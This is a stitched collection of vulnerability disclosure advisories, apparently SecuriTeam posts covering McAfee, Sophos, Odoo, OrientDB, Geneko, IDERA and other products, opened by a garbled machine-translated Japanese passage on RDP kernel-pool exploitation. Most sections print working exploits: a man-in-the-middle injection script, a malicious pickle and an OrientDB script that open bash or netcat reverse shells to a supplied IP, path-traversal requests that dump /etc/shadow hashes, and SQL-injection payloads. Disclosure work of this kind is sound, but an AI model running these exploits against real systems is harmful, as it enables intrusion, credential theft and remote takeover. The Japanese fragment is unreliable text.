ただし、BitMapキャッシュリストプールのRDPクライアントがすべてのデータを制御できるわけではないことが観察されています。制御されたデータの各8バイトの間に、4バイトの制御されていないデータ(インデックス値)がありますが、これはシェルコードストレージにそれほど友好的ではありません。さらに、0xc3870サイズのカーネルプールは複数回割り当てることはできません。これは、永続的なキーリストPDUを合法的に1回しか送信できないためです。ただし、カーネルプールが同じメモリアドレスで割り当てられる特定の統計的特徴がまだあります。さらに、図13に示すように、特にX64でのヒープ割り当てに非常に役立つビットマップキャッシュリストプール割り当ての前に、常に0x2B522C(x86)または0x2B5240(x64)カーネルサイズのプールがあります。
図13。永続的なキーリストのPDU統計的特性
3。 rect pdu
を更新しますMS-RDPBCGRドキュメントによると、PDUを更新すると、RDPクライアントはサーバーにセッションの再割り当てを要求します。この構造には、汎用PDUヘッダーとrefreshrectpdudata(変数)が含まれています。 14。
図14。長方形のPDUデータを更新します
数字のフィールドは、AreastoreFreshフィールドに含まれる長方形構造の数を定義する8ビットの署名のない整数です。 AreatoreFreshフィールドは、図15に示すように、TS_RECTANGLE16構造の配列です。
図15。長方形(TS_RECTANGLE16)が含まれています
更新されたRect PDUは、一連の「包括的長方形」操作を介してサーバーに通知し、サーバーがセッションを再割り当てするようにします。デフォルトのチャネルに基づいて、チャネルIDは0x03EA(サーバーチャネルID)です。図1に示すように、接続シーケンスが完了すると、RDPサーバーは更新マトリックスPDUを受信/解析でき、最も重要なことには、合法的に複数回送信できます。 TS_RECTANGLE16構造は8バイトに制限されていますが、RDPクライアントは8バイトのみを制御できますが、arbitrary意的なデータをカーネルに書き込むことができます。
4。 Rect Rect PDU
を使用して、カーネルにデータを書き込みます通常の復号化されたリフレッシュrect PDUを図16に示します。
## Vulnerability Summary
The following advisory describes a Remote Code Execution found in McAfee Security Scan Plus. An active network attacker could launch a man-in-the-middle attack on a plaintext-HTTP response to a client to run any residing executables with privileges of a logged in user.
McAfee Security Scan Plus is a free diagnostic tool that ensures you are protected from threats by actively checking your computer for up-to-date anti-virus, firewall, and web security software. It also scans for threats in any open programs.
## Credit
An independent security research company, Silent Signal, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
## Vendor response
The vendor has released patches to address this vulnerability.
For more information: https://service.mcafee.com/webcenter/portal/cp/home/articleview?articleId=TS102714
CVE: CVE-2017-3897
## Vulnerability details
McAfee Security Scan Plus retrieves promotional and UI design information from different mcafee.com domains and displays them to the user, typically in the main application window.
The vulnerability is caused by multiple factors:
Information is retrieved over plaintext HTTP that can be trivially modified by an active network attacker.
McAfee Security Scan Plus rely on the MCBRWSR2.DLL library to display HTML content. The Library exposes the LaunchApplication() JavaScript API that executes arbitrary commands on the affected system.
The McAfee Security Scan Plus downloads, after each scan, a UI element indicating the “protection level” of the target from the following URL:
```
http://home.mcafee.com/SecurityScanner/SSBanner.aspx
```
The following screenshot shows the placeholder of the web content while it is loaded (marked with red):
Although the original response redirects to a secure HTTPS URL (and server certificates are verified by the client), from a man-in-the-middle position it’s possible to replace the redirection message with a HTTP response indicating success, and containing the call to the LaunchApplication() JavaScript API:
```
<script>
window.external.LaunchApplication("c:\\windows\\system32\\calc.exe", "");
</script>
```
The above JavaScript executes the Windows Calculator (without arguments) with the privileges of the logged in user (on the user’s Desktop). The request is made every time the user initiates a scan or when a scan is initiated automatically – by default the product is configured for weekly scans, the exact time depends on the time of the installation.
## Proof of Concept
```
#!/usr/bin/env python3
#
# HTTP proxy mode:
# mitmproxy -s mcsploit_inline.py --ignore '.*'
#
# Transparent proxy mode:
# mitmproxy -s mcsploit_inline.py -T
#
from mitmproxy import ctx, http
import requests
import time
COMMAND="c:\\\\windows\\\\system32\\\\calc.exe"
CMDARGS=""
def response(flow):
if flow.request.scheme == "http" and (flow.request.headers['host'].endswith("mcafee.com") or "mcafee" in flow.request.url):
if flow.response.status_code == 302:
ctx.log("[+] [MCSPLOIT] Insecure McAfee request found! (HTML)")
https_url=flow.request.url.replace("http://","https://")
r=requests.get(https_url,headers=flow.request.headers,verify=False)
if "text/html" not in r.headers['content-type']: return
contents=r.text
contents=contents.replace("</head>","<script>try{window.external.LaunchApplication(\"%s\",\"%s\");}catch(launchapperr){var x;}</script></head>" % (COMMAND, CMDARGS))
flow.response = http.HTTPResponse.make(200,bytes(contents,encoding="utf-8"),{"Content-Type": "text/html; charset=utf-8","Expires":"-1"})
return
try:
if flow.response.headers["content-type"] == "text/javascript":
ctx.log("[+] [MCSPLOIT] Insecure McAfee request found! (JS)")
inject="try{window.external.LaunchApplication(\"%s\",\"%s\");}catch(launchapperr){var x;}\n" % (COMMAND, CMDARGS)
try:
flow.response.contents = inject + flow.response.contents
except AttributeError:
ctx.log("[-] [MCSPLOIT] No content in the original response!")
pass
except KeyError:
pass
```
## Vulnerabilities Summary
The following advisory describe two (2) vulnerabilities, a Path Traversal and a Missing Function Level Access Control, in Sophos XG Firewall 16.05.4 MR-4.
Sophos XG Firewall provides “unprecedented visibility into your network, users, and applications directly from the all-new control center. You also get rich on-box reporting and the option to add Sophos iView for centralized reporting across multiple firewalls”.
## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
## Vendor response
The vendor has released patches to address this vulnerability:
“The patches were released as part of SFOS 16.05.5 MR5:
https://community.sophos.com/products/xg-firewall/b/xg-blog/posts/sfos-16-05-5-mr5-released
Our internal bug number was NC-18958, mentioned in the changelog”
CVE: CVE-2017-12854
## Vulnerabilities Details
The Sophos XG Firewall hosts 2 different web portals. The first is the web administration portal used to manage the firewall (Sophos XG Fireweal portal), the second is the “User Portal” used to unprivileged user to access to a restricted group of function like to trace their traffic quotas, to see SMTP quarantined mail and to download authentication client.
The appliance has a web download function in Sophos XG Fireweal portal to allow downloading of a range of file like, logs and certificate keys.
Crafting the download request and adding a path traversal vector to it, an authenticated user, can use this function to download files that are outside the normal scope of the download feature (including sensitive files).
In addition, the function can be called from a low privileged user, a user that is logged on to the User Portal (i.e. Missing Function Level Access Control), a combinations of these two vulnerabilities can be used to compromise the integrity of the server, by allowing a User Portal to elevate his privileges.
## Proof of Concept
Log in the Sophos XG Firewall admin portal
Using developer tools of Firefox (F12) or analyzing the html code of the loaded page (Cyberoam.c$rFt0k3n parameter), extract the csrf code.
Open the Hackbar or use other tools to send a new crafted request:
```
URL https://192.168.0.188:4444/webconsole/Controller?filename=../../../etc/passwd&mode=4010
postdata csrf=<== THE PARAMETER YOU HAVE FOUND ==>
referrer https://192.168.0.188:4444/webconsole/webpages/index.jsp
```
This will start the download of the /etc/passwd file:
Create from the admin portal an user of the User Portal (Authentication > User > Add)
Login in the User Portal using the new user
Using developer tools of Firefox or analyzing the html code of the loaded page (Cyberoam.c$rFt0k3n parameter), extract the csrf code.
Open the hack bar or use other tools to send a new crafted request:
```
URL https://192.168.0.188/userportal/Controller?filename=../../../etc/passwd&mode=4010&json=%7B%22lang%22%3A%220%22%7D
postdata csrf=<== THE PARAMETER YOU HAVE FOUND ==>
referrer https://192.168.0.188/userportal/webpages/myaccount/index.jsp
```
This will start the download
## Vulnerability Summary
The following advisory describe arbitrary Python code execution found in Odoo CRM version 10.0
Odoo is a suite of open source business apps that cover all your company needs: CRM, eCommerce, accounting, inventory, point of sale, project management, etc. Odoo’s unique value proposition is to be at the same time very easy to use and fully integrated.
## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
## Vendor response
Odoo has done a private disclosure for the issue we reported, and the patch was merged in all supported branches.
CVE: CVE-2017-10803
The full public disclosure will be available at https://github.com/odoo/odoo/issues/17898.
## Vulnerability Details
One of the core Odoo modules, Database Anonymization, allows an administrator to anonymize the contents of the Odoo database. The module does this by serializing the contents of the existing database using Python’s pickle module into a backup file before modifying the contents of the database. The administrator can then de-anonymize the database by loading the pickled backup file.
Python’s pickle module can be made to execute arbitrary Python code when loading an attacker controlled pickle file. With this, an administrator can execute arbitrary Python code with the same privilege level as the Odoo webapp by anonymizing the database then attempt the de-anonymization process with a crafted pickle file.
## Proof of Concept
In order to exploit the vulnerability, you should navigate to the Apps page (the link is in the navigation bar at the top and search for and install “Database Anonymization” in the search bar. We have to deselect the “Apps” filter in the search bar for it to show up.
Once we have the module installed, we navigate to the settings page and select “Anonymize database” under “Database anonymization” and click on the “Anonymize Database” button. Next, we refresh the page and navigate to the same page under settings. We upload the “exploit.pickle” file generated our script and click on “Reverse the Database Anonymization” button. We should have a reverse shell.
The following Python file generate a malicious pickle file that attempts (via bash) to connect back to a listener on port 8000:
```
import cPickle
import os
import base64
import pickletools
class Exploit(object):
def __reduce__(self):
return (os.system, (("bash -i >& /dev/tcp/127.0.0.1/8000 0>&1"),))
with open("exploit.pickle", "wb") as f:
cPickle.dump(Exploit(), f, cPickle.HIGHEST_PROTOCOL)
```
We then use netcat listener on port 8000:
```
ncat -nlvp 8000
```
## Vulnerability Summary
The following advisory reports a vulnerability in OrientDB which allows users of the product to cause it to execute code.
OrientDB is a Distributed Graph Database engine with the flexibility of a Document Database all in one product. The first and best scalable, high-performance, operational NoSQL database.
## Credit
An independent security researcher, Francis Alexander, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
## Vendor response
The vendor has released patches to address this vulnerability and issue CVE-2017-11467.
For more information: https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#security.
## Vulnerability Details
OrientDB uses RBAC model for authentication schemes. By default an OrientDB has 3 roles – admin, writer and reader. These have their usernames same as the role. For each database created on the server, it assigns by default these 3 users.
The privileges of the users are:
admin – access to all functions on the database without any limitation
reader – read-only user. The reader can query any records in the database, but can’t modify or delete them. It has no access to internal information, such as the users and roles themselves
writer – same as the ‘reader’, but it can also create, update and delete records
ORole structure handles users and their roles and is only accessible by the admin user. OrientDB requires oRole read permissions to allow the user to display the permissions of users and make other queries associated with oRole permissions.
From version 2.2.x and above whenever the oRole is queried with a where, fetchplan and order by statements, this permission requirement is not required and information is returned to unprivileged users.
Example:
```
select * from <em>oRole</em> order by name;
```
The user writer which is created with every database you create. Thus even if the db admin changes the admin user password, an attacker would still be able to get Code Execution with the writer user.
Since we enable the functions where, fetchplan and order by, and OrientDB has a function where you could execute groovy functions and this groovy wrapper doesn’t have a sandbox and exposes system functionalities, we can run any command we want.
Sample Groovy function:
Command.md
```
def command = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081
>/tmp/f'
File file = new File("hello.sh")
file.delete()
file << ("#!/bin/bash\n")
file << (command)
def proc = "bash hello.sh".execute()
```
## Proof of Concept
Run Netcat at port 8081
```
nc -lv 8081
```
Run the following:
```
python PoC.py ip [port] // By default uses 2480
```
PoC.py
```
import sys
import requests
import json
import string
import random
target = sys.argv[1]
try:
port = sys.argv[2] if sys.argv[2] else 2480
except:
port = 2480
url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)
def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def enum_databases(target,port="2480"):
base_url = "http://%s:%s/listDatabases"%(target,port)
req = requests.get(base_url)
if req.status_code == 200:
#print "[+] Database Enumeration successful"
database = req.json()['databases']
return database
return False
def check_version(target,port="2480"):
base_url = "http://%s:%s/listDatabases"%(target,port)
req = requests.get(base_url)
if req.status_code == 200:
headers = req.headers['server']
#print headers
if "2.2" in headers or "3." in headers:
return True
return False
def run_queries(permission,db,content=""):
databases = enum_databases(target)
url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])
priv_enable = ["create","read","update","execute","delete"]
#query = "GRANT create ON database.class.ouser TO writer"
for priv in priv_enable:
if permission == "GRANT":
query = "GRANT %s ON %s TO writer"%(priv,db)
else:
query = "REVOKE %s ON %s FROM writer"%(priv,db)
req = requests.post(url,data=query,auth=('writer','writer'))
if req.status_code == 200:
pass
else:
if priv == "execute":
return True
return False
print "[+] %s"%(content)
return True
def priv_escalation(target,port="2480"):
print "[+] Checking OrientDB Database version is greater than 2.2"
if check_version(target,port):
priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")
if priv1 and priv2 and priv3:
return True
return False
def exploit(target,port="2480"):
#query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":null'
#query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":None}
func_name = random_function_name()
print func_name
databases = enum_databases(target)
reverse_ip = raw_input('Enter the ip to connect back: ')
query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute();","parameters":null}'
#query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a file.delete() \u000a file << (\"#!/bin/bash\")\u000a file << (command)\n def proc = \"bash hello.sh\".execute() ","parameters":null}'
#query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":None}
req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))
if req.status_code == 201:
#print req.status_code
#print req.json()
func_id = req.json()['@rid'].strip("#")
#print func_id
print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)
req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer'))
#print req.status_code
#print req.text
if req.status_code == 200:
print "[+] Open netcat at port 8081.."
else:
print "[+] Exploitation failed at last step, try running the script again."
print req.status_code
print req.text
#print "[+] Deleting traces.."
req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))
priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")
priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")
priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters")
#print req.status_code
#print req.text
def main():
target = sys.argv[1]
#port = sys.argv[1] if sys.argv[1] else 2480
try:
port = sys.argv[2] if sys.argv[2] else 2480
#print port
except:
port = 2480
if priv_escalation(target,port):
exploit(target,port)
else:
print "[+] Target not vulnerable"
main()
```
## Vulnerability Summary
The following advisory describes a DLL Hijacking vulnerability found in Dashlane.
Dashlane is “a password manager app and secure digital wallet. The app is available on Mac, PC, iOS and Android. The app’s premium feature enables users to securely sync their data between an unlimited number of devices on all platforms.”
## Credit
An independent security researcher, Paulos Yibelo, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
## Vendor response
We have informed Dashlane of the vulnerability, their answer was: “Since there are many ways to load DLLs/code in a process under Windows, we are currently rewriting part of the installer to install in Program Files (we use %appdata% for the non admin users like many other applications), and you can already replace DLLl/exe if you are privileged to write in the user %appdata%/…/dashlane directory, we won’t change the current way of loading DLLs in the short term.”
At this time there is no solution or workaround for this vulnerability.
CVE: CVE-2017-11657
## Vulnerability details
When Dashlane starts on a Windows machine it tries to load a DLL (WINHTTP.dll) from the C:\Users\user\AppData\Roaming\Dashlane\ directory, if a malicious attacker puts the DLL in that directory Dashlane will load it and run the code found in it – without giving the user any warning of it.
This happens because:
Dashlane does not provide the file WINHTTP.dll.
Writing in %appdata% doesn’t require any special privileges, the file called WINHTTP.dll can be placed in the path C:\Users\user\AppData\Roaming\Dashlane\.
Since Dashlane can require admin privileges, an attacker can place the nwinhttp.dll and cause script/command execution as the current user (usually admin).
## Vulnerability Summary
The following advisory describes a Unauthenticated Path Traversal vulnerability found in Geneko GWR routers series.
Geneko GWG is compact and cost effective communications solution that provides cellular capabilities for fixed and mobile applications such as data acquisition, smart metering, remote monitoring and management. GWG supports a variety of radio bands options on 2G, 3G and 4G cellular technologies.
## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
## Vendor response
We have informed Geneko of the vulnerability on the 28th of May 2017, the last email we received from them was on the 7th of June 2017. We have no further updates from Geneko regarding the availability of a patch or a workaround for the vulnerability.
CVE: CVE-2017-11456
## Vulnerability Details
User controlled input is not sufficiently sanitized, and then passed to a function responsible for accessing the filesystem. Successful exploitation of this vulnerability enables a remote unauthenticated user to read the content of any file existing on the host, this includes files located outside of the web root folder.
By sending the following GET request, You get direct access to the configuration file, which allows you to log in to the login panel:
```
GET /../../../../../../../../../../../../mnt/flash/params/j_admin_admin.params HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
```
## Router response:
```
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 121
{"enable":true,"username":"admin","password”:"xxx!","web_access":0,"http_port":80,"https_port":443,"gui_timeout":15}
In this case, the admin user is configured to have access to the shell (SSH Access) as can be seen in the /etc/passwd
admin:x:0:0:root:/root:/root/cli
```
## Proof of Concept
path_traversal.py
```
import requests
import sys
domain = sys.argv[1]
r = requests.get("http://"+domain+"/../../../../../etc/shadow")
print r.content
```
The router then will response with:
```
root:$1$ryjw5yTs$xoQlzavABZ5c7gQuD7jKO0:10933:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
adm:*:10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
nobody:*:10933:0:99999:7:::
admin:$1$72G6z9YF$cs5dS2elxOD3qicUTlEHO/:10933:0:99999:7:::
```
## Vulnerability Summary
The following advisory describes an Privileged Escalation vulnerability found in 360 Total Security.
360 Total Security offers your PC complete protection from Viruses, Trojans and other emerging threats.
Whether you are shopping online, downloading files or chatting with your friends you can be sure that 360 Total Security is there to keep you safe and your computer optimized. Clean-up utility is just one click away to keep your PC in optimal condition.
## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
## Vendor response
The vendor has released patches to address this vulnerability and has only provided these details in response to our query on the status: “We will release this patch on 7/7”
CVE: CVE-2017-12653
## Vulnerability Details
When 360 Total security is load on Windows machine the binaries try to load a DLL (Shcore.dll) in order to display correctly in High DPI displays.
360 Total security install Shcore.dll on Windows 8.1 and above, but not in previous versions (for example – Windows 7 and XP). For this reason, the administration components of 360 Total Security try to find and load this DLL in Windows 7 too, where it does not exist.
Placing a DLL named Shcore.dll in a directory listed in the PATH system variable will load this in the memory space of 360 software. Loading the DLL inside a 360 administration process gives us privileges of administrator.
## Proof of Concept
Install 360 Total Security and optionally update to the latest version
Log into a Windows 7 and create a DLL planting environment
The easiest way is to install Python for Windows
“Add Python to the path” in the installer (most common install option)
Log in as a totally unprivileged user and copy the DLL renamed to Shcore.dll to C:\Python27 (in case you used Python as the DLL planting vector)
Now there are two options in order to trigger the vulnerability
In case the administrator is not logged in, log in as administrator (fastest way)
If the administrator is already logged in – it will take several minutes. The reason is, 360 launches periodically processes in the background. Any of them will trigger the vulnerability and execute the code. Test have shown this is a matter of minutes.
## Vulnerabilities Summary
The following advisory describe three (3) vulnerabilities found in IDERA Uptime Monitor version 7.8.
“IDERA Uptime Monitor is a Proactively monitor physical servers, virtual machines, network devices, applications, and services across multiple platforms running on-premise, remotely, or in the Cloud. Uptime Infrastructure Monitor provides a unified view of IT environment health and a GUI that is easily customizable, with a drag-anddrop dashboard design. Create private IT dashboards, team dashboards (server, application, capacity and networking teams, and even the specialist practitioner such as SharePoint farm administrators, etc.), and a network operations center (NOC) for the entire datacenter in minutes.”
The vulnerabilities found are:
SQL Injection (1)
SQL Injection (2)
Directory Traversal and File Access
## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
## Vendor response
We notified IDERA about the vulnerabilities back in March 2017, repeated attempts to re-establish contact and get some answers on the status of the patch for this vulnerabilities went unanswered. At this time there is no solution or workaround for this vulnerability.
CVE’s:
SQL Injection (1) – CVE-2017-11470
SQL Injection (2) – CVE-2017-11471
Directory Traversal and File Access – CVE-2017-11469
## Vulnerabilities Details
## SQL Injection (1)
IDERA Uptime Monitor 7.8 is affected by multiple SQL injection vulnerabilities. User controlled data is included in SQL queries made by the application without first being properly sanitized. As a result a remote unauthenticated user can inject arbitrary SQL queries into the application’s back-end database
The SQL injection vulnerability is located in “/gadgets/definitions/uptime.CapacityWhatIfGadget/getmetrics.php”:
```
if (isset($_GET['query_type'])) {
$query_type = $_GET['query_type'];
}
if (isset($_GET['uptime_offset'])) {
$offset = $_GET['uptime_offset'];
}
if (isset($_GET['time_frame'])) {
$time_frame = $_GET['time_frame'];
} else {
$time_frame = 3;
}
if (isset($_GET['metricType'])) {
$metricType = $_GET['metricType'];
}
if (isset($_GET['element'])) {
$vmware_object_id = $_GET['element'];
}
$json = array();
$oneElement = array();
$performanceData = array();
//date_default_timezone_set('UTC');
$db = new uptimeDB;
if ($db - & gt; connectDB()) {
echo "";
} else {
echo "unable to connect to DB exiting";
exit(1);
}
if ($query_type == "osperf-Mem") {
$min_mem_usage_array = array();
$max_mem_usage_array = array();
$avg_mem_usage_array = array();
$sql = "SELECT
e.entity_id,
e.display_name as NAME,
date(s.sample_time) as SAMPLE_TIME,
min(a.free_mem) as MIN_MEM_USAGE,
max(a.free_mem) as MAX_MEM_USAGE,
avg(a.free_mem) as AVG_MEM_USAGE,
min(c.memsize) as TOTAL_CAPACITY,
max(c.memsize),
avg(c.memsize),
day(s.sample_time),
month(s.sample_time),
year(s.sample_time)
FROM
performance_aggregate a, performance_sample s, entity e, entity_configuration c
WHERE
s.id = a.sample_id AND
s.uptimehost_id = e.entity_id AND
e.entity_id = c.entity_id AND
s.sample_time & gt;
date_sub(now(), interval ". $time_frame . "
month) AND
e.entity_id = $vmware_object_id
GROUP BY
e.entity_id,
year(s.sample_time),
month(s.sample_time),
day(s.sample_time)
```
User controlled data entering the HTTP GET parameter “element” is included as part of an SQL query that is executed if the “$query_type” variable is equal to “osperf-Mem”. Because the value of the “$query_type” variable can also be set using the HTTP GET parameter “query_type”, a user can force the application to take the vulnerable code path, and execute the tainted SQL query. Visiting the following URL on a vulnerable installation will trigger the vulnerability, and return a verbose SQL error message.
```
/gadgets/definitions/uptime.CapacityWhatIfGadget/getmetrics.php?query_type=osperfMem&element='
```
## Proof of Concept
```
http://192.168.199.129:9999/gadgets/definitions/uptime.CapacityWhatIfGadget/getmetrics.php?query_type=osperf-Mem&element=1%20AND%20SLEEP(5)
## SQL Injection (2)
IDERA Uptime Monitor 7.8 is affected by multiple SQL injection vulnerabilities. User controlled data is included in SQL queries made by the application without first being properly sanitized. As a result a remote unauthenticated user can inject arbitrary SQL queries into the application’s back-end database
The vulnerability is very similar in structure to the first SQL vulnerability, and is located in “/gadgets/definitions/uptime.CapacityWhatifGadget/getxenmetrics.php”
```
if (isset($_GET['query_type'])) {
$query_type = $_GET['query_type'];
}
if (isset($_GET['uptime_offset'])) {
$offset = $_GET['uptime_offset'];
}
if (isset($_GET['time_frame'])) {
$time_frame = $_GET['time_frame'];
} else {
$time_frame = 3;
}
if (isset($_GET['metricType'])) {
$metricType = $_GET['metricType'];
}
if (isset($_GET['element'])) {
$element_id = $_GET['element'];
}
$json = array();
$oneElement = array();
$performanceData = array();
//date_default_timezone_set('UTC');
$db = new uptimeDB;
if ($db - & gt; connectDB()) {
echo "";
} else {
echo "unable to connect to DB exiting";
exit(1);
}
if ($query_type == "xenserver-Mem") {
$min_mem_usage_array = array();
$max_mem_usage_array = array();
$avg_mem_usage_array = array();
$getXenServerMemUsedsql = "SELECT
e.entity_id,
e.display_name as NAME,
date(dd.sampletime) as SAMPLE_TIME,
min(dd.value) as MIN_MEM_USAGE,
max(dd.value) as MAX_MEM_USAGE,
avg(dd.value) as AVG_MEM_USAGE,
day(dd.sampletime),
month(dd.sampletime),
year(dd.sampletime)
FROM
erdc_base b, erdc_configuration c, erdc_parameter p,
erdc_decimal_data dd, erdc_instance i, entity e
WHERE
b.name = 'XenServer'
AND
b.erdc_base_id = c.erdc_base_id AND
b.erdc_base_id = p.erdc_base_id AND
p.name = 'hostMemUsed'
AND
p.erdc_parameter_id = dd.erdc_parameter_id AND
dd.erdc_instance_id = i.erdc_instance_id AND
dd.sampletime & gt;
date_sub(now(), interval ". $time_frame . "
month)
AND
i.entity_id = e.entity_id AND
e.entity_id = $element_id
GROUP BY
e.entity_id,
year(dd.sampletime),
month(dd.sampletime),
day(dd.sampletime)
";
```
Visiting the following URL will elicit a verbose SQL message from the vulnerable web application.
```
/gadgets/definitions/uptime.CapacityWhatifGadget/getxenmetrics.php?query_type=xenserver-Mem&time_frame=1&element='
```
## Proof of Concept
```
http://192.168.199.129:9999/gadgets/definitions/uptime.CapacityWhatifGadget/getxenmetrics.php?query_type=xenserverMem&time_frame=1&element=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))tayk)
```
## Directory Traversal and File Access
User controlled input is not sufficiently sanitized, and then passed to a function responsible for accessing the filesystem. Successful exploitation of this vulnerability enables a remote unauthenticated user to read the content of any file existing on the host, this includes files located outside of the web root folder.
The vulnerable code can be found in get2post.php file:
```
if(isset($_GET["file_name"]) && $_GET["file_name"] != null){
$fileName = $_GET["file_name"];
$data = file_get_contents($fileName);
$data = str_replace("\"", '"', $data);
unlink($fileName);
print("<input type=\"hidden\" name=\"script\" value=\"".$data."\">\n");
```
User controlled data entering the HTTP GET parameter “file_name” is sanitized by removing all occurrences of the “\” character, and is then passed to the “file_get_contents” function. Next, then contents of the file (now in the $data variable) is printed in the application’s HTTP response.
## Proof of Concept
The following HTTP GET request provides proof-of-concept that will retrieve the contents of a file named “test.txt” that exists in the root of “C:\”
```
GET
/wizards/get2post.php?file_name=%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5ctest.t
xt HTTP/1.1
Host: 192.168.199.129:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101
Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: PHPSESSID=8q7o2ckle9c6lcte045t7dufe2; cookieId=8q7o2ckle9c6lcte045t7dufe2
Connection: close
Upgrade-Insecure-Requests: 1
```
After executing this proof-of-concept against the vulnerable host, the following HTTP response was received containing the contents of the “test.txt” file that was placed in the root of “C:\”
```
HTTP/1.1 200 OK
Date: Mon, 06 Mar 2017 15:12:05 GMT
Server: Apache/2.4.20 (Win64) PHP/5.4.45 OpenSSL/1.0.2g
X-Powered-By: PHP/5.4.45
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 796
Connection: close
Content-Type: text/html
<html>
<head>
<title>Processing...</title>
</head>
<body onLoad="document.form.submit()">
<form name="form" action="../main.php?section=ERDCInstance&subsection=add"
method="post">
<input type="hidden" name="file_name" value="..\..\..\..\..\test.txt">
<input type="hidden" name="script"
value="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
<input type="hidden" name="category" value="agentless">
<input type="hidden" name="isWizard" value="1">
<input type="hidden" name="wizardPage" value="1">
<input type="hidden" name="wizardNumPages" value="2">
<input type="hidden" name="wizardTask" value="pageContinue">
<input type="hidden" name="visitedPage[1]" value="1">
<input type="hidden" name="fromGet2Post" value="true">
<img src="/images/InProgress.gif">
</form>
</body>
</html>
```
## Vulnerability Summary
The following advisory describes an arbitrary file disclosure vulnerability found in Cisco DPC3928AD DOCSIS 3.0 2-PORT Voice Gateway.
The Cisco DPC3928AD DOCSIS is a home wireless router that is currently "Out of support" but is provided by ISPs world wide.
## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
## Vendor response
We reported the vulnerability to Cisco and they informed us that the Cisco DPC3928AD sold to Technicolor: “The Cisco DPC3928AD was actually sold to Technicolor a while back. In this case, we will ask you to please contact Technicolor at security@technicolor.com to open a case with them”
After connecting Technicolor, they informed us that the product has reached end of life and they will not patch the vulnerability: “After an extensive search for the product to perform validation, we were unable to source the gateway to validate your proof of concept. Due to the end-of-sale and end-of-life of the product Technicolor will not be patching the bug.”
CVE: CVE-2017-11502
## Vulnerability details
